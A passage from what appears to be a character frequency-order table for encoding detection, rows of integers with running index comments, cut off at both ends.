381,2619,1942,1348,7381,1341,1252, 560, # 3606 -3072,7382,3420,2856,7383,2053, 973, 886,2080, 143,4325,7384,7385, 157,3886, 496, # 3622 -4081, 57, 840, 540,2038,4326,4327,3421,2117,1445, 970,2259,1748,1965,2081,4082, # 3638 -3119,1234,1775,3251,2816,3629, 773,1206,2129,1066,2039,1326,3887,1738,1725,4083, # 3654 - 279,3120, 51,1544,2594, 423,1578,2130,2066, 173,4328,1879,7386,7387,1583, 264, # 3670 - 610,3630,4329,2439, 280, 154,7388,7389,7390,1739, 338,1282,3073, 693,2857,1411, # 3686 -1074,3747,2440,7391,4330,7392,7393,1240, 952,2394,7394,2900,1538,2679, 685,1483, # 3702 -4084,2468,1436, 953,4085,2054,4331, 671,2395, 79,4086,2441,3252, 608, 567,2680, # 3718 -3422,4087,4088,1691, 393,1261,1791,2396,7395,4332,7396,7397,7398,7399,1383,1672, # 3734 -3748,3182,1464, 522,1119, 661,1150, 216, 675,4333,3888,1432,3519, 609,4334,2681, # 3750 -2397,7400,7401,7402,4089,3025, 0,7403,2469, 315, 231,2442, 301,3319,4335,2380, # 3766 -7404, 233,4090,3631,1818,4336,4337,7405, 96,1776,1315,2082,7406, 257,7407,1809, # 3782 -3632,2709,1139,1819,4091,2021,1124,2163,2778,1777,2649,7408,3074, 363,1655,3183, # 3798 -7409,2975,7410,7411,7412,3889,1567,3890, 718, 103,3184, 849,1443, 341,3320,2934, # 3814 -1484,7413,1712, 127, 67, 339,4092,2398, 679,1412, 821,7414,7415, 834, 738, 351, # 3830 -2976,2146, 846, 235,1497,1880, 418,1992,3749,2710, 186,1100,2147,2746,3520,1545, # 3846 -1355,2935,2858,1377, 583,3891,4093,2573,2977,7416,1298,3633,1078,2549,3634,2358, # 3862 - 78,3750,3751, 267,1289,2099,2001,1594,4094, 348, 369,1274,2194,2175,1837,4338, # 3878 -1820,2817,3635,2747,2283,2002,4339,2936,2748, 144,3321, 882,4340,3892,2749,3423, # 3894 -4341,2901,7417,4095,1726, 320,7418,3893,3026, 788,2978,7419,2818,1773,1327,2859, # 3910 -3894,2819,7420,1306,4342,2003,1700,3752,3521,2359,2650, 787,2022, 506, 824,3636, # 3926 - 534, 323,4343,1044,3322,2023,1900, 946,3424,7421,1778,1500,1678,7422,1881,4344, # 3942 - 165, 243,4345,3637,2521, 123, 683,4096, 764,4346, 36,3895,1792, 589,2902, 816, # 3958 - 626,1667,3027,2233,1639,1555,1622,3753,3896,7423,3897,2860,1370,1228,1932, 891, # 3974 -2083,2903, 304,4097,7424, 292,2979,2711,3522, 691,2100,4098,1115,4347, 118, 662, # 3990 -7425, 611,1156, 854,2381,1316,2861, 2, 386, 515,2904,7426,7427,3253, 868,2234, # 4006 -1486, 855,2651, 785,2212,3028,7428,1040,3185,3523,7429,3121, 448,7430,1525,7431, # 4022 -2164,4348,7432,3754,7433,4099,2820,3524,3122, 503, 818,3898,3123,1568, 814, 676, # 4038 -1444, 306,1749,7434,3755,1416,1030, 197,1428, 805,2821,1501,4349,7435,7436,7437, # 4054 -1993,7438,4350,7439,7440,2195, 13,2779,3638,2980,3124,1229,1916,7441,3756,2131, # 4070 -7442,4100,4351,2399,3525,7443,2213,1511,1727,1120,7444,7445, 646,3757,2443, 307, # 4086 -7446,7447,1595,3186,7448,7449,7450,3639,1113,1356,3899,1465,2522,2523,7451, 519, # 4102 -7452, 128,2132, 92,2284,1979,7453,3900,1512, 342,3125,2196,7454,2780,2214,1980, # 4118 -3323,7455, 290,1656,1317, 789, 827,2360,7456,3758,4352, 562, 581,3901,7457, 401, # 4134 -4353,2248, 94,4354,1399,2781,7458,1463,2024,4355,3187,1943,7459, 828,1105,4101, # 4150 -1262,1394,7460,4102, 605,4356,7461,1783,2862,7462,2822, 819,2101, 578,2197,2937, # 4166 -7463,1502, 436,3254,4103,3255,2823,3902,2905,3425,3426,7464,2712,2315,7465,7466, # 4182 -2332,2067, 23,4357, 193, 826,3759,2102, 699,1630,4104,3075, 390,1793,1064,3526, # 4198 -7467,1579,3076,3077,1400,7468,4105,1838,1640,2863,7469,4358,4359, 137,4106, 598, # 4214 -3078,1966, 780, 104, 974,2938,7470, 278, 899, 253, 402, 572, 504, 493,1339,7471, # 4230 -3903,1275,4360,2574,2550,7472,3640,3029,3079,2249, 565,1334,2713, 863, 41,7473, # 4246 -7474,4361,7475,1657,2333, 19, 463,2750,4107, 606,7476,2981,3256,1087,2084,1323, # 4262 -2652,2982,7477,1631,1623,1750,4108,2682,7478,2864, 791,2714,2653,2334, 232,2416, # 4278 -7479,2983,1498,7480,2654,2620, 755,1366,3641,3257,3126,2025,1609, 119,1917,3427, # 4294 - 862,1026,4109,7481,3904,3760,4362,3905,4363,2260,1951,2470,7482,1125, 817,4110, # 4310 -4111,3906,1513,1766,2040,1487,4112,3030,3258,2824,3761,3127,7483,7484,1507,7485, # 4326 -2683, 733, 40,1632,1106,2865, 345,4113, 841,2524, 230,4364,2984,1846,3259,3428, # 4342 -7486,1263, 986,3429,7487, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562,3907, # 4358 -3908,2939, 967,2751,2655,1349, 592,2133,1692,3324,2985,1994,4114,1679,3909,1901, # 4374 -2185,7488, 739,3642,2715,1296,1290,7489,4115,2198,2199,1921,1563,2595,2551,1870, # 4390 -2752,2986,7490, 435,7491, 343,1108, 596, 17,1751,4365,2235,3430,3643,7492,4366, # 4406 - 294,3527,2940,1693, 477, 979, 281,2041,3528, 643,2042,3644,2621,2782,2261,1031, # 4422 -2335,2134,2298,3529,4367, 367,1249,2552,7493,3530,7494,4368,1283,3325,2004, 240, # 4438 -1762,3326,4369,4370, 836,1069,3128, 474,7495,2148,2525, 268,3531,7496,3188,1521, # 4454 -1284,7497,1658,1546,4116,7498,3532,3533,7499,4117,3327,2684,1685,4118, 961,1673, # 4470 -2622, 190,2005,2200,3762,4371,4372,7500, 570,2497,3645,1490,7501,4373,2623,3260, # 4486 -1956,4374, 584,1514, 396,1045,1944,7502,4375,1967,2444,7503,7504,4376,3910, 619, # 4502 -7505,3129,3261, 215,2006,2783,2553,3189,4377,3190,4378, 763,4119,3763,4379,7506, # 4518 -7507,1957,1767,2941,3328,3646,1174, 452,1477,4380,3329,3130,7508,2825,1253,2382, # 4534 -2186,1091,2285,4120, 492,7509, 638,1169,1824,2135,1752,3911, 648, 926,1021,1324, # 4550 -4381, 520,4382, 997, 847,1007, 892,4383,3764,2262,1871,3647,7510,2400,1784,4384, # 4566 -1952,2942,3080,3191,1728,4121,2043,3648,4385,2007,1701,3131,1551, 30,2263,4122, # 4582 -7511,2026,4386,3534,7512, 501,7513,4123, 594,3431,2165,1821,3535,3432,3536,3192, # 4598 - 829,2826,4124,7514,1680,3132,1225,4125,7515,3262,4387,4126,3133,2336,7516,4388, # 4614 -4127,7517,3912,3913,7518,1847,2383,2596,3330,7519,4389, 374,3914, 652,4128,4129, # 4630 - 375,1140, 798,7520,7521,7522,2361,4390,2264, 546,1659, 138,3031,2445,4391,7523, # 4646 -2250, 612,1848, 910, 796,3765,1740,1371, 825,3766,3767,7524,2906,2554,7525, 692, # 4662 - 444,3032,2624, 801,4392,4130,7526,1491, 244,1053,3033,4131,4132, 340,7527,3915, # 4678 -1041,2987, 293,1168, 87,1357,7528,1539, 959,7529,2236, 721, 694,4133,3768, 219, # 4694 -1478, 644,1417,3331,2656,1413,1401,1335,1389,3916,7530,7531,2988,2362,3134,1825, # 4710 - 730,1515, 184,2827, 66,4393,7532,1660,2943, 246,3332, 378,1457, 226,3433, 975, # 4726 -3917,2944,1264,3537, 674, 696,7533, 163,7534,1141,2417,2166, 713,3538,3333,4394, # 4742 -3918,7535,7536,1186, 15,7537,1079,1070,7538,1522,3193,3539, 276,1050,2716, 758, # 4758 -1126, 653,2945,3263,7539,2337, 889,3540,3919,3081,2989, 903,1250,4395,3920,3434, # 4774 -3541,1342,1681,1718, 766,3264, 286, 89,2946,3649,7540,1713,7541,2597,3334,2990, # 4790 -7542,2947,2215,3194,2866,7543,4396,2498,2526, 181, 387,1075,3921, 731,2187,3335, # 4806 -7544,3265, 310, 313,3435,2299, 770,4134, 54,3034, 189,4397,3082,3769,3922,7545, # 4822 -1230,1617,1849, 355,3542,4135,4398,3336, 111,4136,3650,1350,3135,3436,3035,4137, # 4838 -2149,3266,3543,7546,2784,3923,3924,2991, 722,2008,7547,1071, 247,1207,2338,2471, # 4854 -1378,4399,2009, 864,1437,1214,4400, 373,3770,1142,2216, 667,4401, 442,2753,2555, # 4870 -3771,3925,1968,4138,3267,1839, 837, 170,1107, 934,1336,1882,7548,7549,2118,4139, # 4886 -2828, 743,1569,7550,4402,4140, 582,2384,1418,3437,7551,1802,7552, 357,1395,1729, # 4902 -3651,3268,2418,1564,2237,7553,3083,3772,1633,4403,1114,2085,4141,1532,7554, 482, # 4918 -2446,4404,7555,7556,1492, 833,1466,7557,2717,3544,1641,2829,7558,1526,1272,3652, # 4934 -4142,1686,1794, 416,2556,1902,1953,1803,7559,3773,2785,3774,1159,2316,7560,2867, # 4950 -4405,1610,1584,3036,2419,2754, 443,3269,1163,3136,7561,7562,3926,7563,4143,2499, # 4966 -3037,4406,3927,3137,2103,1647,3545,2010,1872,4144,7564,4145, 431,3438,7565, 250, # 4982 - 97, 81,4146,7566,1648,1850,1558, 160, 848,7567, 866, 740,1694,7568,2201,2830, # 4998 -3195,4147,4407,3653,1687, 950,2472, 426, 469,3196,3654,3655,3928,7569,7570,1188, # 5014 - 424,1995, 861,3546,4148,3775,2202,2685, 168,1235,3547,4149,7571,2086,1674,4408, # 5030 -3337,3270, 220,2557,1009,7572,3776, 670,2992, 332,1208, 717,7573,7574,3548,2447, # 5046 -3929,3338,7575, 513,7576,1209,2868,3339,3138,4409,1080,7577,7578,7579,7580,2527, # 5062 -3656,3549, 815,1587,3930,3931,7581,3550,3439,3777,1254,4410,1328,3038,1390,3932, # 5078 -1741,3933,3778,3934,7582, 236,3779,2448,3271,7583,7584,3657,3780,1273,3781,4411, # 5094 -7585, 308,7586,4412, 245,4413,1851,2473,1307,2575, 430, 715,2136,2449,7587, 270, # 5110 - 199,2869,3935,7588,3551,2718,1753, 761,1754, 725,1661,1840,4414,3440,3658,7589, # 5126 -7590, 587, 14,3272, 227,2598, 326, 480,2265, 943,2755,3552, 291, 650,1883,7591, # 5142 -1702,1226, 102,1547, 62,3441, 904,4415,3442,1164,4150,7592,7593,1224,1548,2756, # 5158 - 391, 498,1493,7594,1386,1419,7595,2055,1177,4416, 813, 880,1081,2363, 566,1145, # 5174 -4417,2286,1001,1035,2558,2599,2238, 394,1286,7596,7597,2068,7598, 86,1494,1730, # 5190 -3936, 491,1588, 745, 897,2948, 843,3340,3937,2757,2870,3273,1768, 998,2217,2069, # 5206 - 397,1826,1195,1969,3659,2993,3341, 284,7599,3782,2500,2137,2119,1903,7600,3938, # 5222 -2150,3939,4151,1036,3443,1904, 114,2559,4152, 209,1527,7601,7602,2949,2831,2625, # 5238 -2385,2719,3139, 812,2560,7603,3274,7604,1559, 737,1884,3660,1210, 885, 28,2686, # 5254 -3553,3783,7605,4153,1004,1779,4418,7606, 346,1981,2218,2687,4419,3784,1742, 797, # 5270 -1642,3940,1933,1072,1384,2151, 896,3941,3275,3661,3197,2871,3554,7607,2561,1958, # 5286 -4420,2450,1785,7608,7609,7610,3942,4154,1005,1308,3662,4155,2720,4421,4422,1528, # 5302 -2600, 161,1178,4156,1982, 987,4423,1101,4157, 631,3943,1157,3198,2420,1343,1241, # 5318 -1016,2239,2562, 372, 877,2339,2501,1160, 555,1934, 911,3944,7611, 466,1170, 169, # 5334 -1051,2907,2688,3663,2474,2994,1182,2011,2563,1251,2626,7612, 992,2340,3444,1540, # 5350 -2721,1201,2070,2401,1996,2475,7613,4424, 528,1922,2188,1503,1873,1570,2364,3342, # 5366 -3276,7614, 557,1073,7615,1827,3445,2087,2266,3140,3039,3084, 767,3085,2786,4425, # 5382 -1006,4158,4426,2341,1267,2176,3664,3199, 778,3945,3200,2722,1597,2657,7616,4427, # 5398 -7617,3446,7618,7619,7620,3277,2689,1433,3278, 131, 95,1504,3946, 723,4159,3141, # 5414 -1841,3555,2758,2189,3947,2027,2104,3665,7621,2995,3948,1218,7622,3343,3201,3949, # 5430 -4160,2576, 248,1634,3785, 912,7623,2832,3666,3040,3786, 654, 53,7624,2996,7625, # 5446 -1688,4428, 777,3447,1032,3950,1425,7626, 191, 820,2120,2833, 971,4429, 931,3202, # 5462 - 135, 664, 783,3787,1997, 772,2908,1935,3951,3788,4430,2909,3203, 282,2723, 640, # 5478 -1372,3448,1127, 922, 325,3344,7627,7628, 711,2044,7629,7630,3952,2219,2787,1936, # 5494 -3953,3345,2220,2251,3789,2300,7631,4431,3790,1258,3279,3954,3204,2138,2950,3955, # 5510 -3956,7632,2221, 258,3205,4432, 101,1227,7633,3280,1755,7634,1391,3281,7635,2910, # 5526 -2056, 893,7636,7637,7638,1402,4161,2342,7639,7640,3206,3556,7641,7642, 878,1325, # 5542 -1780,2788,4433, 259,1385,2577, 744,1183,2267,4434,7643,3957,2502,7644, 684,1024, # 5558 -4162,7645, 472,3557,3449,1165,3282,3958,3959, 322,2152, 881, 455,1695,1152,1340, # 5574 - 660, 554,2153,4435,1058,4436,4163, 830,1065,3346,3960,4437,1923,7646,1703,1918, # 5590 -7647, 932,2268, 122,7648,4438, 947, 677,7649,3791,2627, 297,1905,1924,2269,4439, # 5606 -2317,3283,7650,7651,4164,7652,4165, 84,4166, 112, 989,7653, 547,1059,3961, 701, # 5622 -3558,1019,7654,4167,7655,3450, 942, 639, 457,2301,2451, 993,2951, 407, 851, 494, # 5638 -4440,3347, 927,7656,1237,7657,2421,3348, 573,4168, 680, 921,2911,1279,1874, 285, # 5654 - 790,1448,1983, 719,2167,7658,7659,4441,3962,3963,1649,7660,1541, 563,7661,1077, # 5670 -7662,3349,3041,3451, 511,2997,3964,3965,3667,3966,1268,2564,3350,3207,4442,4443, # 5686 -7663, 535,1048,1276,1189,2912,2028,3142,1438,1373,2834,2952,1134,2012,7664,4169, # 5702 -1238,2578,3086,1259,7665, 700,7666,2953,3143,3668,4170,7667,4171,1146,1875,1906, # 5718 -4444,2601,3967, 781,2422, 132,1589, 203, 147, 273,2789,2402, 898,1786,2154,3968, # 5734 -3969,7668,3792,2790,7669,7670,4445,4446,7671,3208,7672,1635,3793, 965,7673,1804, # 5750 -2690,1516,3559,1121,1082,1329,3284,3970,1449,3794, 65,1128,2835,2913,2759,1590, # 5766 -3795,7674,7675, 12,2658, 45, 976,2579,3144,4447, 517,2528,1013,1037,3209,7676, # 5782 -3796,2836,7677,3797,7678,3452,7679,2602, 614,1998,2318,3798,3087,2724,2628,7680, # 5798 -2580,4172, 599,1269,7681,1810,3669,7682,2691,3088, 759,1060, 489,1805,3351,3285, # 5814 -1358,7683,7684,2386,1387,1215,2629,2252, 490,7685,7686,4173,1759,2387,2343,7687, # 5830 -4448,3799,1907,3971,2630,1806,3210,4449,3453,3286,2760,2344, 874,7688,7689,3454, # 5846 -3670,1858, 91,2914,3671,3042,3800,4450,7690,3145,3972,2659,7691,3455,1202,1403, # 5862 -3801,2954,2529,1517,2503,4451,3456,2504,7692,4452,7693,2692,1885,1495,1731,3973, # 5878 -2365,4453,7694,2029,7695,7696,3974,2693,1216, 237,2581,4174,2319,3975,3802,4454, # 5894 -4455,2694,3560,3457, 445,4456,7697,7698,7699,7700,2761, 61,3976,3672,1822,3977, # 5910 -7701, 687,2045, 935, 925, 405,2660, 703,1096,1859,2725,4457,3978,1876,1367,2695, # 5926 -3352, 918,2105,1781,2476, 334,3287,1611,1093,4458, 564,3146,3458,3673,3353, 945, # 5942 -2631,2057,4459,7702,1925, 872,4175,7703,3459,2696,3089, 349,4176,3674,3979,4460, # 5958 -3803,4177,3675,2155,3980,4461,4462,4178,4463,2403,2046, 782,3981, 400, 251,4179, # 5974 -1624,7704,7705, 277,3676, 299,1265, 476,1191,3804,2121,4180,4181,1109, 205,7706, # 5990 -2582,1000,2156,3561,1860,7707,7708,7709,4464,7710,4465,2565, 107,2477,2157,3982, # 6006 -3460,3147,7711,1533, 541,1301, 158, 753,4182,2872,3562,7712,1696, 370,1088,4183, # 6022 -4466,3563, 579, 327, 440, 162,2240, 269,1937,1374,3461, 968,3043, 56,1396,3090, # 6038 -2106,3288,3354,7713,1926,2158,4467,2998,7714,3564,7715,7716,3677,4468,2478,7717, # 6054 -2791,7718,1650,4469,7719,2603,7720,7721,3983,2661,3355,1149,3356,3984,3805,3985, # 6070 -7722,1076, 49,7723, 951,3211,3289,3290, 450,2837, 920,7724,1811,2792,2366,4184, # 6086 -1908,1138,2367,3806,3462,7725,3212,4470,1909,1147,1518,2423,4471,3807,7726,4472, # 6102 -2388,2604, 260,1795,3213,7727,7728,3808,3291, 708,7729,3565,1704,7730,3566,1351, # 6118 -1618,3357,2999,1886, 944,4185,3358,4186,3044,3359,4187,7731,3678, 422, 413,1714, # 6134 -3292, 500,2058,2345,4188,2479,7732,1344,1910, 954,7733,1668,7734,7735,3986,2404, # 6150 -4189,3567,3809,4190,7736,2302,1318,2505,3091, 133,3092,2873,4473, 629, 31,2838, # 6166 -2697,3810,4474, 850, 949,4475,3987,2955,1732,2088,4191,1496,1852,7737,3988, 620, # 6182 -3214, 981,1242,3679,3360,1619,3680,1643,3293,2139,2452,1970,1719,3463,2168,7738, # 6198 -3215,7739,7740,3361,1828,7741,1277,4476,1565,2047,7742,1636,3568,3093,7743, 869, # 6214 -2839, 655,3811,3812,3094,3989,3000,3813,1310,3569,4477,7744,7745,7746,1733, 558, # 6230 -4478,3681, 335,1549,3045,1756,4192,3682,1945,3464,1829,1291,1192, 470,2726,2107, # 6246 -2793, 913,1054,3990,7747,1027,7748,3046,3991,4479, 982,2662,3362,3148,3465,3216, # 6262 -3217,1946,2794,7749, 571,4480,7750,1830,7751,3570,2583,1523,2424,7752,2089, 984, # 6278 -4481,3683,1959,7753,3684, 852, 923,2795,3466,3685, 969,1519, 999,2048,2320,1705, # 6294 -7754,3095, 615,1662, 151, 597,3992,2405,2321,1049, 275,4482,3686,4193, 568,3687, # 6310 -3571,2480,4194,3688,7755,2425,2270, 409,3218,7756,1566,2874,3467,1002, 769,2840, # 6326 - 194,2090,3149,3689,2222,3294,4195, 628,1505,7757,7758,1763,2177,3001,3993, 521, # 6342 -1161,2584,1787,2203,2406,4483,3994,1625,4196,4197, 412, 42,3096, 464,7759,2632, # 6358 -4484,3363,1760,1571,2875,3468,2530,1219,2204,3814,2633,2140,2368,4485,4486,3295, # 6374 -1651,3364,3572,7760,7761,3573,2481,3469,7762,3690,7763,7764,2271,2091, 460,7765, # 6390 -4487,7766,3002, 962, 588,3574, 289,3219,2634,1116, 52,7767,3047,1796,7768,7769, # 6406 -7770,1467,7771,1598,1143,3691,4198,1984,1734,1067,4488,1280,3365, 465,4489,1572, # 6422 - 510,7772,1927,2241,1812,1644,3575,7773,4490,3692,7774,7775,2663,1573,1534,7776, # 6438 -7777,4199, 536,1807,1761,3470,3815,3150,2635,7778,7779,7780,4491,3471,2915,1911, # 6454 -2796,7781,3296,1122, 377,3220,7782, 360,7783,7784,4200,1529, 551,7785,2059,3693, # 6470 -1769,2426,7786,2916,4201,3297,3097,2322,2108,2030,4492,1404, 136,1468,1479, 672, # 6486 -1171,3221,2303, 271,3151,7787,2762,7788,2049, 678,2727, 865,1947,4493,7789,2013, # 6502 -3995,2956,7790,2728,2223,1397,3048,3694,4494,4495,1735,2917,3366,3576,7791,3816, # 6518 - 509,2841,2453,2876,3817,7792,7793,3152,3153,4496,4202,2531,4497,2304,1166,1010, # 6534 - 552, 681,1887,7794,7795,2957,2958,3996,1287,1596,1861,3154, 358, 453, 736, 175, # 6550 - 478,1117, 905,1167,1097,7796,1853,1530,7797,1706,7798,2178,3472,2287,3695,3473, # 6566 -3577,4203,2092,4204,7799,3367,1193,2482,4205,1458,2190,2205,1862,1888,1421,3298, # 6582 -2918,3049,2179,3474, 595,2122,7800,3997,7801,7802,4206,1707,2636, 223,3696,1359, # 6598 - 751,3098, 183,3475,7803,2797,3003, 419,2369, 633, 704,3818,2389, 241,7804,7805, # 6614 -7806, 838,3004,3697,2272,2763,2454,3819,1938,2050,3998,1309,3099,2242,1181,7807, # 6630 -1136,2206,3820,2370,1446,4207,2305,4498,7808,7809,4208,1055,2605, 484,3698,7810, # 6646 -3999, 625,4209,2273,3368,1499,4210,4000,7811,4001,4211,3222,2274,2275,3476,7812, # 6662 -7813,2764, 808,2606,3699,3369,4002,4212,3100,2532, 526,3370,3821,4213, 955,7814, # 6678 -1620,4214,2637,2427,7815,1429,3700,1669,1831, 994, 928,7816,3578,1260,7817,7818, # 6694 -7819,1948,2288, 741,2919,1626,4215,2729,2455, 867,1184, 362,3371,1392,7820,7821, # 6710 -4003,4216,1770,1736,3223,2920,4499,4500,1928,2698,1459,1158,7822,3050,3372,2877, # 6726 -1292,1929,2506,2842,3701,1985,1187,2071,2014,2607,4217,7823,2566,2507,2169,3702, # 6742 -2483,3299,7824,3703,4501,7825,7826, 666,1003,3005,1022,3579,4218,7827,4502,1813, # 6758 -2253, 574,3822,1603, 295,1535, 705,3823,4219, 283, 858, 417,7828,7829,3224,4503, # 6774 -4504,3051,1220,1889,1046,2276,2456,4004,1393,1599, 689,2567, 388,4220,7830,2484, # 6790 - 802,7831,2798,3824,2060,1405,2254,7832,4505,3825,2109,1052,1345,3225,1585,7833, # 6806 - 809,7834,7835,7836, 575,2730,3477, 956,1552,1469,1144,2323,7837,2324,1560,2457, # 6822 -3580,3226,4005, 616,2207,3155,2180,2289,7838,1832,7839,3478,4506,7840,1319,3704, # 6838 -3705,1211,3581,1023,3227,1293,2799,7841,7842,7843,3826, 607,2306,3827, 762,2878, # 6854 -1439,4221,1360,7844,1485,3052,7845,4507,1038,4222,1450,2061,2638,4223,1379,4508, # 6870 -2585,7846,7847,4224,1352,1414,2325,2921,1172,7848,7849,3828,3829,7850,1797,1451, # 6886 -7851,7852,7853,7854,2922,4006,4007,2485,2346, 411,4008,4009,3582,3300,3101,4509, # 6902 -1561,2664,1452,4010,1375,7855,7856, 47,2959, 316,7857,1406,1591,2923,3156,7858, # 6918 -1025,2141,3102,3157, 354,2731, 884,2224,4225,2407, 508,3706, 726,3583, 996,2428, # 6934 -3584, 729,7859, 392,2191,1453,4011,4510,3707,7860,7861,2458,3585,2608,1675,2800, # 6950 - 919,2347,2960,2348,1270,4511,4012, 73,7862,7863, 647,7864,3228,2843,2255,1550, # 6966 -1346,3006,7865,1332, 883,3479,7866,7867,7868,7869,3301,2765,7870,1212, 831,1347, # 6982 -4226,4512,2326,3830,1863,3053, 720,3831,4513,4514,3832,7871,4227,7872,7873,4515, # 6998 -7874,7875,1798,4516,3708,2609,4517,3586,1645,2371,7876,7877,2924, 669,2208,2665, # 7014 -2429,7878,2879,7879,7880,1028,3229,7881,4228,2408,7882,2256,1353,7883,7884,4518, # 7030 -3158, 518,7885,4013,7886,4229,1960,7887,2142,4230,7888,7889,3007,2349,2350,3833, # 7046 - 516,1833,1454,4014,2699,4231,4519,2225,2610,1971,1129,3587,7890,2766,7891,2961, # 7062 -1422, 577,1470,3008,1524,3373,7892,7893, 432,4232,3054,3480,7894,2586,1455,2508, # 7078 -2226,1972,1175,7895,1020,2732,4015,3481,4520,7896,2733,7897,1743,1361,3055,3482, # 7094 -2639,4016,4233,4521,2290, 895, 924,4234,2170, 331,2243,3056, 166,1627,3057,1098, # 7110 -7898,1232,2880,2227,3374,4522, 657, 403,1196,2372, 542,3709,3375,1600,4235,3483, # 7126 -7899,4523,2767,3230, 576, 530,1362,7900,4524,2533,2666,3710,4017,7901, 842,3834, # 7142 -7902,2801,2031,1014,4018, 213,2700,3376, 665, 621,4236,7903,3711,2925,2430,7904, # 7158 -2431,3302,3588,3377,7905,4237,2534,4238,4525,3589,1682,4239,3484,1380,7906, 724, # 7174 -2277, 600,1670,7907,1337,1233,4526,3103,2244,7908,1621,4527,7909, 651,4240,7910, # 7190 -1612,4241,2611,7911,2844,7912,2734,2307,3058,7913, 716,2459,3059, 174,1255,2701, # 7206 -4019,3590, 548,1320,1398, 728,4020,1574,7914,1890,1197,3060,4021,7915,3061,3062, # 7222 -3712,3591,3713, 747,7916, 635,4242,4528,7917,7918,7919,4243,7920,7921,4529,7922, # 7238 -3378,4530,2432, 451,7923,3714,2535,2072,4244,2735,4245,4022,7924,1764,4531,7925, # 7254 -4246, 350,7926,2278,2390,2486,7927,4247,4023,2245,1434,4024, 488,4532, 458,4248, # 7270 -4025,3715, 771,1330,2391,3835,2568,3159,2159,2409,1553,2667,3160,4249,7928,2487, # 7286 -2881,2612,1720,2702,4250,3379,4533,7929,2536,4251,7930,3231,4252,2768,7931,2015, # 7302 -2736,7932,1155,1017,3716,3836,7933,3303,2308, 201,1864,4253,1430,7934,4026,7935, # 7318 -7936,7937,7938,7939,4254,1604,7940, 414,1865, 371,2587,4534,4535,3485,2016,3104, # 7334 -4536,1708, 960,4255, 887, 389,2171,1536,1663,1721,7941,2228,4027,2351,2926,1580, # 7350 -7942,7943,7944,1744,7945,2537,4537,4538,7946,4539,7947,2073,7948,7949,3592,3380, # 7366 -2882,4256,7950,4257,2640,3381,2802, 673,2703,2460, 709,3486,4028,3593,4258,7951, # 7382 -1148, 502, 634,7952,7953,1204,4540,3594,1575,4541,2613,3717,7954,3718,3105, 948, # 7398 -3232, 121,1745,3837,1110,7955,4259,3063,2509,3009,4029,3719,1151,1771,3838,1488, # 7414 -4030,1986,7956,2433,3487,7957,7958,2093,7959,4260,3839,1213,1407,2803, 531,2737, # 7430 -2538,3233,1011,1537,7960,2769,4261,3106,1061,7961,3720,3721,1866,2883,7962,2017, # 7446 - 120,4262,4263,2062,3595,3234,2309,3840,2668,3382,1954,4542,7963,7964,3488,1047, # 7462 -2704,1266,7965,1368,4543,2845, 649,3383,3841,2539,2738,1102,2846,2669,7966,7967, # 7478 -1999,7968,1111,3596,2962,7969,2488,3842,3597,2804,1854,3384,3722,7970,7971,3385, # 7494 -2410,2884,3304,3235,3598,7972,2569,7973,3599,2805,4031,1460, 856,7974,3600,7975, # 7510 -2885,2963,7976,2886,3843,7977,4264, 632,2510, 875,3844,1697,3845,2291,7978,7979, # 7526 -4544,3010,1239, 580,4545,4265,7980, 914, 936,2074,1190,4032,1039,2123,7981,7982, # 7542 -7983,3386,1473,7984,1354,4266,3846,7985,2172,3064,4033, 915,3305,4267,4268,3306, # 7558 -1605,1834,7986,2739, 398,3601,4269,3847,4034, 328,1912,2847,4035,3848,1331,4270, # 7574 -3011, 937,4271,7987,3602,4036,4037,3387,2160,4546,3388, 524, 742, 538,3065,1012, # 7590 -7988,7989,3849,2461,7990, 658,1103, 225,3850,7991,7992,4547,7993,4548,7994,3236, # 7606 -1243,7995,4038, 963,2246,4549,7996,2705,3603,3161,7997,7998,2588,2327,7999,4550, # 7622 -8000,8001,8002,3489,3307, 957,3389,2540,2032,1930,2927,2462, 870,2018,3604,1746, # 7638 -2770,2771,2434,2463,8003,3851,8004,3723,3107,3724,3490,3390,3725,8005,1179,3066, # 7654 -8006,3162,2373,4272,3726,2541,3163,3108,2740,4039,8007,3391,1556,2542,2292, 977, # 7670 -2887,2033,4040,1205,3392,8008,1765,3393,3164,2124,1271,1689, 714,4551,3491,8009, # 7686 -2328,3852, 533,4273,3605,2181, 617,8010,2464,3308,3492,2310,8011,8012,3165,8013, # 7702 -8014,3853,1987, 618, 427,2641,3493,3394,8015,8016,1244,1690,8017,2806,4274,4552, # 7718 -8018,3494,8019,8020,2279,1576, 473,3606,4275,3395, 972,8021,3607,8022,3067,8023, # 7734 -8024,4553,4554,8025,3727,4041,4042,8026, 153,4555, 356,8027,1891,2888,4276,2143, # 7750 - 408, 803,2352,8028,3854,8029,4277,1646,2570,2511,4556,4557,3855,8030,3856,4278, # 7766 -8031,2411,3396, 752,8032,8033,1961,2964,8034, 746,3012,2465,8035,4279,3728, 698, # 7782 -4558,1892,4280,3608,2543,4559,3609,3857,8036,3166,3397,8037,1823,1302,4043,2706, # 7798 -3858,1973,4281,8038,4282,3167, 823,1303,1288,1236,2848,3495,4044,3398, 774,3859, # 7814 -8039,1581,4560,1304,2849,3860,4561,8040,2435,2161,1083,3237,4283,4045,4284, 344, # 7830 -1173, 288,2311, 454,1683,8041,8042,1461,4562,4046,2589,8043,8044,4563, 985, 894, # 7846 -8045,3399,3168,8046,1913,2928,3729,1988,8047,2110,1974,8048,4047,8049,2571,1194, # 7862 - 425,8050,4564,3169,1245,3730,4285,8051,8052,2850,8053, 636,4565,1855,3861, 760, # 7878 -1799,8054,4286,2209,1508,4566,4048,1893,1684,2293,8055,8056,8057,4287,4288,2210, # 7894 - 479,8058,8059, 832,8060,4049,2489,8061,2965,2490,3731, 990,3109, 627,1814,2642, # 7910 -4289,1582,4290,2125,2111,3496,4567,8062, 799,4291,3170,8063,4568,2112,1737,3013, # 7926 -1018, 543, 754,4292,3309,1676,4569,4570,4050,8064,1489,8065,3497,8066,2614,2889, # 7942 -4051,8067,8068,2966,8069,8070,8071,8072,3171,4571,4572,2182,1722,8073,3238,3239, # 7958 -1842,3610,1715, 481, 365,1975,1856,8074,8075,1962,2491,4573,8076,2126,3611,3240, # 7974 - 433,1894,2063,2075,8077, 602,2741,8078,8079,8080,8081,8082,3014,1628,3400,8083, # 7990 -3172,4574,4052,2890,4575,2512,8084,2544,2772,8085,8086,8087,3310,4576,2891,8088, # 8006 -4577,8089,2851,4578,4579,1221,2967,4053,2513,8090,8091,8092,1867,1989,8093,8094, # 8022 -8095,1895,8096,8097,4580,1896,4054, 318,8098,2094,4055,4293,8099,8100, 485,8101, # 8038 - 938,3862, 553,2670, 